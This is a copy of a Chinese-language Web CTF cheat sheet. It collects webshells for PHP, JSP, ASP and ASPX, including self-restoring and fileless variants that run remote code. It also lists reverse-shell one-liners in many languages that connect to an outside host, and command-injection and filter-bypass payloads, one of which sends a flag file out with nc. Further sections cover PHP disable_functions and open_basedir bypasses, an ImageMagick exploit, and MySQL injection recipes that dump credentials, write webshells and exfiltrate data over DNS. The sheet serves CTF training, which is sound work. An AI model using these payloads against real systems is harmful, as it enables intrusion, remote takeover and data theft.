https://github.com/w181496/Web-CTF-Cheatsheet

Webshell

PHP Webshell

<?php system($_GET["cmd"]); ?>
<?php system($_GET[1]); ?>
<?php system("`$_GET[1]`"); ?>
<?= system($_GET[cmd]);
<?=`$_GET[1]`;
<?php eval($_POST[cmd]);?>
<?php echo `$_GET[1]`;
<?php echo passthru($_GET['cmd']);
<?php echo shell_exec($_GET['cmd']);
<?php eval(str_rot13('riny($_CBFG[cntr]);'));?>
<script language="php">system("id"); </script>
<?php $_GET['a']($_GET['b']); ?>
// a=system&b=ls
// a=assert&b=system("ls")
<?php array_map("ass\x65rt",(array)$_REQUEST['cmd']);?>
// .php?cmd=system("ls")
<?@extract($_REQUEST);@die($f($c));?>
// .php?f=system&c=id
<?php @include($_FILES['u']['tmp_name']);  
// 構造 <form action="http://x.x.x.x/shell.php" method="POST" enctype="multipart/form-data">上傳
// 把暫存檔include進來
// From: http://www.zeroplace.cn/article.asp?id=906
<?php $x=~¾¬¬º­«;$x($_GET['a']); ?>
// not backdoor (assert)
// .php?a=system("ls")
echo "{${phpinfo()}}";
echo "${system(ls)}";
echo Y2F0IGZsYWc= | base64 -d | sh
// Y2F0IGZsYWc=   =>  cat  flag
echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > shell.php
// cat shell.php
// <?php echo 'A PHP Test ';" ?>
echo ^<?php eval^($_POST['a']^); ?^> > a.php
// Windows echo導出一句話
<?php fwrite(fopen("gggg.php","w"),"<?php system(\$_GET['a']);");
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
<?php 
// 無回顯後門  
// e.g. ?pass=file_get_contents('http://kaibro.tw/test')
ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();
?>
<?=
// 沒有英數字的webshell
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");
A=fl;B=ag;cat $A$B

webshell駐留記憶體

解法：restart

<?php
    ignore_user_abort(true);  // 忽略連線中斷
    set_time_limit(0);  // 設定無執行時間上限
    $file = 'shell.php';
    $code = '<?php eval($_POST[a]);?>';
    while(md5(file_get_contents($file)) !== md5($code)) {
        if(!file_exists($file)) {
            file_put_contents($file, $code);
        }
        usleep(50);
    }
?>

無文件webshell

解法：restart

<?php  
    unlink(__FILE__);  
    ignore_user_abort(true);  
    set_time_limit(0);  
    $remote_file = 'http://xxx/xxx.txt';  
    while($code = file_get_contents($remote_file)){  
        @eval($code);  
        sleep(5);  
    };  
?>

JSP Webshell

• 無回顯:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

• 有回顯:

<%
if("kaibro".equals(request.getParameter("pwd"))) {
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("
<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
}
%>

ASP Webshell

<%eval request("kaibro")%>
<%execute request("kaibro")%>
<%ExecuteGlobal request("kaibro")%>
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

ASPX Webshell

• 一般:

<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>

• 上傳:

<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>

Reverse Shell

• 本機Listen Port
  • ncat -vl 5566
• Perl
  • perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
• Bash
  • bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
  • bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
  • 0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196
• PHP
  • php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'
• NC
  • nc -e /bin/sh kaibro.tw 5566
• Telnet
  • mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe
• Python
  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
• Ruby
  • ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
• Node.js
  • var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
  • require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");
• Java
  • Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
  • java.lang.Runtime.exec() payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html
• Powershell
  • powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd

PHP Tag

• <? ?>
  • short_open_tag 決定是否可使用短標記
  • 或是編譯php時 —enable-short-tags
• <?=
  • 等價 <? echo
  • 自PHP 5.4.0起，always work!
• <% %>、<%=
  • 自PHP 7.0.0起，被移除
  • 須將asp_tags設成On
• <script language="php"
  • 自PHP 7.0.0起，被移除
  • <script language="php">system("id"); </script>

PHP Weak Type

• var_dump('0xABCdef' == ' 0xABCdef');
  • true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)
• var_dump('0010e2' == '1e3’);
  • true
• strcmp([],[])
  • 0
• sha1([])
  • NULL
• '123' == 123
• 'abc' == 0
• '123a' == 123
• '0x01' == 1
  • PHP 7.0後，16進位字串不再當成數字
  • e.g var_dump('0x01' == 1) => false
• '' == 0 == false == NULL
• md5([1,2,3]) == md5([4,5,6]) == NULL
  • 可用在登入繞過 (用戶不存在，則password為NULL)
• var_dump(md5(240610708));
  • 0e462097431906509019562988736854
• var_dump(sha1(10932435112));
  • 0e07766915004133176347055865026311692244
• $a="123"; $b="456"
  • $a + $b == "579";
  • $a . $b == "123456"
• $a = 0; $b = 'x';
  • $a == false => true
  • $a == $b => true
  • $b == true => true
• $a = 'a'
  • ++$a => 'b'
  • $a+1 => 1

PHP 其他特性

Overflow

• 32位元
  • intval('1000000000000') => 2147483647
• 64位元
  • intval('100000000000000000000') => 9223372036854775807

浮點數精度

• php -r "var_dump(1.000000000000001 == 1);"
  • false
• php -r "var_dump(1.0000000000000001 == 1);"
  • true
• $a = 0.1 * 0.1; var_dump($a == 0.01);
  • false

ereg會被NULL截斷

• var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
  • 1
• ereg和eregi在PHP 7.0.0.已經被移除

intval

• 四捨五入
  • var_dump(intval('5278.8787'));
    • 5278
• intval(012) => 10
• intval("012") => 12

extract變數覆蓋

• extract($_GET);
  • .php?_SESSION[name]=admin
  • echo $_SESSION['name'] => ‘admin’

trim

• 會把字串前後的空白(或其他字元)去掉
• 未指定第二參數，預設會去掉以下字元
  • " " (0x20)
  • "\t" (0x09)
  • "\n" (0x0A)
  • "\x0B" (0x0B)
  • "\r" (0x0D)
  • "\0" (0x00)
• 可以發現預設不包含"\f" (0x0C)
  • 比較：is_numeric()允許\f在開頭
• 如果參數是unset或空的變數，回傳值是空字串

is_numeric

• is_numeric(" \t\r\n 123") => true
• is_numeric(' 87') => true
• is_numeric('87 ') => false
• is_numeric(' 87 ') => false
• is_numeric('0xdeadbeef')
  • PHP >= 7.0.0 => false
  • PHP < 7.0.0 => true
  • 可以拿來繞過注入
• 以下亦為合法(返回True)字串:
  • ' -.0'
  • '0.'
  • ' +2.1e5'
  • ' -1.5E+25'
  • '1.e5'

in_array

• in_array('5 or 1=1', array(1, 2, 3, 4, 5))
  • true
• in_array('kaibro', array(0, 1, 2))
  • true
• in_array(array(), array('kai'=>false))
  • true
• in_array(array(), array('kai'=>null))
  • true
• in_array(array(), array('kai'=>0))
  • false
• in_array(array(), array('kai'=>'bro'))
  • false
• in_array('kai', array('kai'=>true))
  • true
• in_array('kai', array('kai'=>'bro'))
  • false
• in_array('kai', array('kai'=>0))
  • true
• in_array('kai', array('kai'=>1))
  • false

array_search

• mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
  • 在haystack陣列中，搜尋needle的值，成功則返回index，失敗返回False
• $strict為false時，採用不嚴格比較
  • 預設是False
• Example
  • $arr=array(1,2,0); var_dump(array_search('kai', $arr))
    • int(2)
  • $arr=array(1,2,0); var_dump(array_search('1', $arr))
    • int(0)

parse_str

• parse_str(string, array)
• 會把查詢字串解析到變數中
• 如果未設置第二個參數，會解析到同名變數中
  • PHP7.2中不設置第二個參數會產生E_DEPRECATED警告

• parse_str('gg[kaibro]=5566');

  array(1) {
  ["kaibro"]=>
   string(4) "5566"
  }

• PHP變數有空格和.，會被轉成底線
  ``` parse_str(“na.me=kaibro&pass wd=ggininder”,$test); var_dump($test);

array(2) { [“na_me”]=> string(6) “kaibro” [“pass_wd”]=> string(9) “ggininder” }

<a name="parse_url"></a>
## parse_url
-  在處理傳入的URL會有問題 
-  `parse_url('/a.php?id=1')`

array(2) { [“host”]=> string(5) “a.php” [“query”]=> string(4) “id=1” }

-  `parse_url('//a/b')` 
   - host: `a`
-  `parse_url('..//a/b/c:80')` 
   - host: `..`
   - port: `80`
   - path: `//a/b/c:80`
-  `parse_url('///a.php?id=1')` 
   - false
-  `parse_url('/a.php?id=1:80')` 
   - PHP < 7.0.0 
      - `false`
   - PHP >= 7.0.0

array(2) { [“path”]=> string(6) “/a.php” [“query”]=> string(7) “id=1:80” }

-  `parse_url('http://kaibro.tw:87878')` 
   - 5.3.X版本以下 
```php
array(3) { 
    ["scheme"]=> string(4) "http" 
    ["host"]=> string(9) "kaibro.tw" 
    ["port"]=> int(22342) 
}

• 其他： false

preg_replace

• mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
  • 搜尋$subject中匹配的$pattern，並用$replacement替換
• 第一個參數用/e修飾符，$replacement會被當成PHP code執行
  • 必須有匹配到才會執行
  • PHP 5.5.0起，會產生E_DEPRECATED錯誤
  • PHP 7.0.0不再支援，用preg_replace_callback()代替

example:

<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);

sprintf / vprintf

• 對格式化字串的類型沒檢查
• 格式化字串中%後面的字元(除了%之外)會被當成字串類型吃掉
  • 例如%\、%'、%1$\'
  • 在某些SQLi過濾狀況下，%' and 1=1#中的單引號會被轉義成\'，%\又會被吃掉，'成功逃逸
  • 原理：sprintf實作是用switch…case…
    • 碰到未知類型，default不處理

file_put_contents

• 第二個參數如果是陣列，PHP會把它串接成字串

• example:

  <?php
  $test = $_GET['txt'];
  if(preg_match('[<>?]', $test)) die('bye');
  file_put_contents('output', $test);

  • 可以直接?txt[]=<?php phpinfo(); ?>寫入

spl_autoload_register

• spl_autoload_register()可以自動載入Class
• 不指定參數，會自動載入.inc和.php
• Example:
  • 如果目錄下有kaibro.inc，且內容為class Kaibro{…}
  • 則spl_autoload_register()會把這個Class載入進來

路徑正規化

• a.php/.
  • file_put_contents("a.php/.", "<?php phpinfo() ?>");
    • 可成功寫入
      • 經測試Windows可以覆寫、Linux無法
    • 可以繞過一些正規表達式判斷
  • file_get_contents("a.php/.");
    • 經測試Windows下可成功讀、Linux無法
  • 還有很多其他function也適用
• " => .
  • a"php
• > => ?
  • a.p>p
  • a.>>>
• < => *
  • a.<

URL query decode

• $_GET會對傳入的參數做URLdecode再返回
• $_SERVER['REQUEST_URI']和$_SERVER['QUERY_STRING']則是直接返回

Example:

Request: http://kaibro.tw/test.php?url=%67%67

• $_GET: [url] => gg
• $_SERVER[‘REQUEST_URI’]: /test.php?url=%67%67
• $_SERVER[‘QUERY_STRING’]: url=%67%67

OPcache

• 透過將PHP腳本編譯成Byte code的方式做Cache來提升性能
• 相關設定在php.ini中
  • opcache.enable 是否啟用
  • opcache.file_cache 設定cache目錄
    • 例如:opcache.file_cache="/tmp/opcache"
    • /var/www/index.php的暫存會放在/tmp/opcache/[system_id]/var/www/index.php.bin
  • opcache.file_cache_only 設定cache文件優先級
  • opcache.validate_timestamps 是否啟用timestamp驗證
• system_id是透過Zend和PHP版本號計算出來的，可以確保相容性
• 所以在某些條件下可透過上傳覆蓋暫存文件來寫webshell
  • system_id要和目標機器一樣
  • timestamp要一致
• https://github.com/GoSecure/php7-opcache-override
  • Disassembler可以把Byte code轉成Pseudo code
• Example
  • 0CTF 2018 Qual - EzDoor

PCRE回溯次數限制繞過

• PHP的PCRE庫使用NFA作為正規表達式引擎
  • NFA在匹配不上時，會回溯嘗試其他狀態
• PHP為防止DOS，設定了PCRE回溯次數上限
  • pcre.backtrack_limit
  • 預設為1000000
• 回溯次數超過上限時，preg_match()會返回false
• Example
  • Code-Breaking Puzzles - pcrewaf
  • N1CTF 2019 - sql_manage

open_basedir繞過

• glob 列目錄

$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
}
sort($file_list);  
foreach($file_list as $f){  
    echo "{$f}<br/>";
}

• phuck3

chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));

• symlinks

mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');

• Fastcgi
  • link
• …

disable_functions繞過

• bash shellshock
• mail()
  • sendmail
  • putenv寫LD_PRELOAD
  • trick: LD_PRELOAD without sendmail/getuid()
• mb_send_mail()
  • 跟 mail() 基本上一樣
• imap_mail()
  • 同上

• imap_open()

  <?php
  $payload = "echo hello|tee /tmp/executed";
  $encoded_payload = base64_encode($payload);
  $server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
  @imap_open('{'.$server.'}:143/imap}INBOX', '', '');

• error_log()

  • 第二個參數message_type為1時，會去調用sendmail

• ImageMagick

  • Command Injection
  • LD_PRELOAD + ghostscript:
    • Imagemagick會用ghostscript去parse eps
    • Link
  • LD_PRELOAD + ffpmeg
    • Link

  • MAGICK_CODER_MODULE_PATH

    • it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory

    • Document

    • Link

  • MAGICK_CONFIGURE_PATH

    • delegates.xml定義處理各種文件的規則
    • 可以用putenv寫掉設定檔路徑
    • Link

      <delegatemap>
      <delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/output&quot;"/>
      </delegatemap>

  • 蓋PATH + ghostscript:

    • 造一個執行檔gs

      #include <stdlib.h>
      #include <string.h>
      int main() {
      unsetenv("PATH");
      const char* cmd = getenv("CMD");
      system(cmd);
      return 0;
      }

      putenv('PATH=/tmp/mydir');
      putenv('CMD=/readflag > /tmp/mydir/output');
      chmod('/tmp/mydir/gs','0777');
      $img = new Imagick('/tmp/mydir/1.ept');

• dl()

  • 載入module
  • dl("rce.so")
  • This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.
• FFI
  • PHP 7.4 feature
  • preloading + ffi
  • e.g. RCTF 2019 - nextphp
• FastCGI Extension

• Windows COM

  • 條件
    • com.allow_dcom = true
    • extension=php_com_dotnet.dll
  • PoC:

    <?php
    $command = $_GET['cmd'];
    $wsh = new COM('WScript.shell'); // Shell.Application 也可
    $exec = $wsh->exec("cmd /c".$command);
    $stdout = $exec->StdOut();
    $stroutput = $stdout->ReadAll();
    echo $stroutput;

• iconv

  • https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
  • 條件
    • 可以上傳 .so, gconv-modules
    • 可以設定環境變數
  • iconv(), iconv_strlen(), php://filter的convert.iconv
• l3mon/Bypass_Disable_functions_Shell
• JSON UAF Bypass
  • 7.1 - all versions to date
  • 7.2 < 7.2.19 (released: 30 May 2019)
  • 7.3 < 7.3.6 (released: 30 May 2019)
• GC Bypass
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
• Backtrace Bypass
  • 7.0 - all versions to date
  • 7.1 - all versions to date
  • 7.2 - all versions to date
  • 7.3 - all versions to date
  • 7.4 - all versions to date
• PHP SplDoublyLinkedList UAF Sandbox Escape
  • https://ssd-disclosure.com/ssd-advisory-php-spldoublylinkedlist-uaf-sandbox-escape/
  • Affected
    • PHP version 8.0 (alpha)
    • PHP version 7.4.10 and prior (probably also future versions will be affected)
  • Example
    • RealWorld CTF 3rd - MoP2021
• 族繁不及備載……

其他

• 大小寫不敏感
  • <?PhP sYstEm(ls);
• echo (true ? 'a' : false ? 'b' : 'c');
  • b
• echowhoami;
  • kaibro
• 正規表達式.不匹配換行字元%0a
• 正規表達式常見誤用:
  • preg_match("/\\/", $str)
  • 匹配反斜線應該要用\\\\而不是\\
• 運算優先權問題
  • $a = true && false;
    • $a => false
  • $a = true and false;
    • $a => true
• chr()
  • 大於256會mod 256
  • 小於0會加上256的倍數，直到>0
  • Example:
    • chr(259) === chr(3)
    • chr(-87) === chr(169)
• 遞增
  • $a="9D9"; var_dump(++$a);
    • string(3) "9E0"
  • $a="9E0"; var_dump(++$a);
    • float(10)
• 算數運算繞Filter
  • %f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
    • system
    • 可用在限制不能出現英數字時 or 過濾某些特殊符號
  • $_=('%01'^'‘).(‘%13’^’').('%13'^'‘).(‘%05’^’').('%12'^'‘).(‘%14’^’');
    • assert
  • 其他
    • ~, ++等運算，也都可用類似概念構造
• 花括號
  • 陣列、字串元素存取可用花括號
  • $array{index}同$array[index]
• filter_var
  • filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
    • False
  • filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
    • True
  • filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+,.”@b.c’,FILTER_VALIDATE_EMAIL)`
    • "aaaaa{}[]()'|!#$%*&^-_=+,.”@b.c` (OK)
  • filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
    • aaa."bbb"@b.c (OK)
  • filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
    • False
• json_decode
  • 不直接吃換行字元和\t字元
  • 但可以吃’\n’和’\t’
    • 會轉成換行字元和Tab
  • 也吃\uxxxx形式
    • json_decode('{"a":"\u0041"}')
• === bug
  • var_dump([0 => 0] === [0x100000000 => 0])
    • 某些版本會是True
    • ASIS 2018 Qual Nice Code
  • https://3v4l.org/sUEMG
• openssl_verify
  • 預測採用SHA1來做簽名，可能有SHA1 Collision問題
  • e.g. DEFCON CTF 2018 Qual - EasyPisy
• Namespace
  • PHP的預設Global space是\
  • e.g. \system('ls');
• basename (php bug 62119)
  • basename("index.php/config.php/喵")
    • config.php
  • Example: zer0pts CTF 2020 - Can you guess it?
• strip_tags (php bug 78814)
  • php version <= 7.4.0
  • strip_tags("<s/trong>b</strong>", "<strong>")
    • <s/trong>b</strong>
  • Example: zer0pts CTF 2020 - MusicBlog

Command Injection

| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`
. flag
PS1=$(cat flag)
`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /

? and *

• ? match one character
  • cat fl?g
  • /???/??t /???/p??s??
• * match 多個
  • cat f*
  • cat f?a*

空白繞過

• ${IFS}
  • cat${IFS}flag
  • ls$IFS-alh
  • cat$IFS$2flag
• cat</etc/passwd
• {cat,/etc/passwd}
• X=$'cat\x20/etc/passwd'&&$X
• IFS=,;cat<<<uname,-a``
  • bash only

Keyword繞過

• String Concat
  • A=fl;B=ag;cat $A$B
• Empty Variable
  • cat fl${x}ag
  • cat tes$(z)t/flag
• Environment Variable
  • $PATH => "/usr/local/….blablabla”
    • ${PATH:0:1} => '/'
    • ${PATH:1:1} => 'u'
    • ${PATH:0:4} => '/usr'
  • ${PS2}
    • >
  • ${PS4}
    • +
• Empty String
  • cat fl""ag
  • cat fl''ag
    • cat "fl""ag"
• 反斜線
  • c\at fl\ag

ImageMagick (ImageTragick)

• CVE-2016-3714
• mvg格式包含https處理(使用curl下載)，可以閉合雙引號
• payload:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context

Ruby Command Executing

• open("| ls")
• IO.popen("ls").read
• Kernel.exec("ls")
• ls
• system("ls")
• eval("ruby code")
  • Non-Alphanumeric example: HITCON CTF 2015 - Hard to say
    • $$/$$ => 1
    • '' << 97 << 98 << 99 => “abc”
    • $:即$LOAD_PATH
• exec("ls")
• %x{ls}
• Net::FTP
  • CVE-2017-17405
  • use Kernel#open

Python Command Executing

• os.system("ls")
• os.popen("ls").read()
• os.execl("/bin/ls","")
• os.execlp("ls","")
• os.execv("/bin/ls",[''])
• os.execvp("/bin/ls",[""])
• subprocess.call("ls")
  • subprocess.call("ls|cat",shell=False) => Fail
  • subprocess.call("ls|cat",shell=True) => Correct
• eval("__import__('os').system('ls')")
• exec("__import__('os').system('ls')")
• commands.getoutput('ls')

Read File

• diff /etc/passwd /flag
• paste /flag
• bzmore /flag
• bzless /flag
• static-sh /flag
• …

SQL Injection

MySQL

• 子字串：
  • substr("abc",1,1) => 'a'
  • mid("abc", 1, 1) => 'a'
• Ascii function
  • ascii('A') => 65
• Char function
  • char(65) => 'a'
• Concatenation
  • CONCAT('a', 'b') => 'ab'
    • 如果任何一欄為NULL，則返回NULL
  • CONCAT_WS(分隔符, 字串1, 字串2...)
    • CONCAT_WS('@', 'gg', 'inin') => gg@inin
• Cast function
  • CAST('125e342.83' AS signed) => 125
  • CONVERT('23',SIGNED) => 23
• Delay function
  • sleep(5)
  • BENCHMARK(count, expr)
• 空白字元
  • 09 0A 0B 0C 0D A0 20
• File-read function
  • LOAD_FILE('/etc/passwd')
• File-write
  • INTO DUMPFILE
    • 適用binary (寫入同一行)
  • INTO OUTFILE
    • 適用一般文本 (有換行)
  • 寫webshell
    • 需知道可寫路徑
    • UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
  • 權限
    • SELECT file_priv FROM mysql.user
  • secure-file-priv
    • 限制MySQL導入導出
      • load_file, into outfile等
    • 運行時無法更改
    • MySQL 5.5.53前，該變數預設為空(可以導入導出)
    • e.g. secure_file_priv=E:\
      • 限制導入導出只能在E:\下
    • e.g. secure_file_priv=null
      • 限制不允許導入導出
    • secure-file-priv限制下用general_log拿shell ``` SET global general_log=’on’;

SET global general_log_file=’C:/phpStudy/WWW/cmd.php’;

SELECT ‘<?php assert($_POST[“cmd”]);?>’;

-  IF語句 
   - IF(condition,true-part,false-part)
   - `SELECT IF (1=1,'true','false')`
-  Hex 
   - `SELECT X'5061756c'; => paul`
   - `SELECT 0x5061756c; => paul`
   - `SELECT 0x5061756c+0 => 1348564332`
   - `SELECT load_file(0x2F6574632F706173737764);` 
      - /etc/passwd
   - 可繞過一些WAF 
      - e.g. 用在不能使用單引號時(`'` => `\'`)
      - CHAR()也可以達到類似效果 
         - `'admin'` => `CHAR(97, 100, 109, 105, 110)`
-  註解： 
   - `#`
   - `--`
   - `/**/` 
      - 一個`*/`可以閉合前面多個`/*`
   - `/*! 50001 select * from test */` 
      - 可探測版本
      - e.g. `SELECT /*!32302 1/0, */ 1 FROM tablename`
   - ` 
      - MySQL <= 5.5
   - `;` 
      - PDO支援多語句
-  information_schema 
   - mysql >= 5.0
-  Stacking Query 
   - 預設PHP+MySQL不支援Stacking Query
   - 但PDO可以Stacking Query
-  其它： 
   - @[@version ](/version )  
      - 同version()
   - user() 
      - current_user
      - current_user()
      - SESSION_USER()
      - SYSTEM_USER()
      - current user
   - system_user() 
      - database system user
   - database() 
      - schema()
      - current database
   - @[@basedir ](/basedir )  
      - MySQL安裝路徑
   - @[@datadir ](/datadir )  
      - Location of db file
   - @[@plugin_dir ](/plugin_dir ) 
   - @[@hostname ](/hostname ) 
   - @[@version_compile_os ](/version_compile_os )  
      - Operating System
   - @@version_compile_machine
   - @[@innodb_version ](/innodb_version ) 
   - MD5()
   - SHA1()
   - COMPRESS() / UNCOMPRESS()
   - group_concat() 
      - 合併多條結果 
         - e.g. `select group_concat(username) from users;` 一次返回所有使用者名
      - group_concat_max_len = 1024 (default)
   - json_arrayagg() 
      - MySQL >= 5.7.22
      - 概念同上 
         - e.g. `SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES`
   - greatest() 
      - `greatest(a, b)`返回a, b中最大的
      - `greatest(1, 2)=2` 
         - 1
      - `greatest(1, 2)=1` 
         - 0
   - between a and b 
      - 介於a到b之間
      - `greatest(1, 2) between 1 and 3` 
         - 1
   - regexp 
      - `SELECT 'abc' regexp '.*'` 
         - 1
   - Collation 
      - `*_ci` case insensitive collation 不區分大小寫
      - `*_cs` case sensitive collation 區分大小寫
      - `*_bin` binary case sensitive collation 區分大小寫
-  Union Based 
   - 判斷column數 
      - `union select 1,2,3...N`
      - `order by N` 找最後一個成功的N
   - `AND 1=2 UNION SELECT 1, 2, password FROM admin--+`
   - `LIMIT N, M` 跳過前N筆，抓M筆
   - 爆資料庫名 
      - `union select 1,2,schema_name from information_schema.schemata limit 1,1`
   - 爆表名 
      - `union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1`
      - `union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1`
   - 爆Column名 
      - `union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1`
   - MySQL User 
      - `SELECT CONCAT(user, ":" ,password) FROM mysql.user;`
-  Error Based 
   - 長度限制 
      - 錯誤訊息有長度限制
      - `#define ERRMSGSIZE (512)`
   - Overflow 
      - MySQL > 5.5.5 overflow才會有錯誤訊息
      - `SELECT ~0` => `18446744073709551615`
      - `SELECT ~0 + 1` => ERROR
      - `SELECT exp(709)` => `8.218407461554972e307`
      - `SELECT exp(710)` => ERROR
      - 若查詢成功，會返回0 
         - `SELECT exp(~(SELECT * FROM (SELECT user())x));`
         - `ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'`
      - `select (select(!x-~0)from(select(select user())x)a);` 
         - `ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'`
         - MySQL > 5.5.53 不會顯示查詢結果
   - xpath 
      - extractvalue (有長度限制，32位) 
         - `select extractvalue(1,concat(0x7e,(select @@version),0x7e));`
         - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'`
      - updatexml (有長度限制，32位) 
         - `select updatexml(1,concat(0x7e,(select @@version),0x7e),1);`
         - `ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'`
   - 主鍵重複 
      - `select count(*) from test group by concat(version(),floor(rand(0)*2));` 
         - `ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'`
   - 其它函數 (5.7) 
      - `select ST_LatFromGeoHash(version());`
      - `select ST_LongFromGeoHash(version());`
      - `select GTID_SUBSET(version(),1);`
      - `select GTID_SUBTRACT(version(),1);`
      - `select ST_PointFromGeoHash(version(),1);`
   - 爆庫名、表名、字段名 
      - 當過濾`information_schema`等關鍵字時，可以用下面方法爆庫名 
         - `select 1,2,3 from users where 1=abc();` 
            - `ERROR 1305 (42000): FUNCTION fl4g.abc does not exist`
      - 爆表名 
         - `select 1,2,3 from users where Polygon(id);`
         - `select 1,2,3 from users where linestring(id);` 
            - `ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing`
      - 爆Column 
         - `select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);` 
            - `ERROR 1060 (42S21): Duplicate column name 'id'`
         - `select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);` 
            - `ERROR 1060 (42S21): Duplicate column name 'username'`
-  Blind Based (Time/Boolean) 
   - Boolean 
      - 「有」跟「沒有」
      - `id=87 and length(user())>0`
      - `id=87 and length(user())>100`
      - `id=87 and ascii(mid(user(),1,1))>100`
      - `id=87 or ((select user()) regexp binary '^[a-z]')`
   - Time 
      - 用在啥結果都看不到時
      - `id=87 and if(length(user())>0, sleep(10), 1)=1`
      - `id=87 and if(length(user())>100, sleep(10), 1)=1`
      - `id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1`
-  Out of Bnad 
   - Windows only
   - `select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata`
-  繞過空白檢查 
   - `id=-1/**/UNION/**/SELECT/**/1,2,3`
   - `id=-1%09UNION%0DSELECT%0A1,2,3`
   - `id=(-1)UNION(SELECT(1),2,3)`
-  寬字節注入 
   - `addslashes()`會讓`'`變`\'`
   - 在`GBK`編碼中，中文字用兩個Bytes表示 
      - 其他多字節編碼也可
      - 但要低位範圍有包含`0x5c`(`\`)
   - 第一個Byte要>128才是中文
   - `%df'` => `%df\'` => `運'` (成功逃逸)
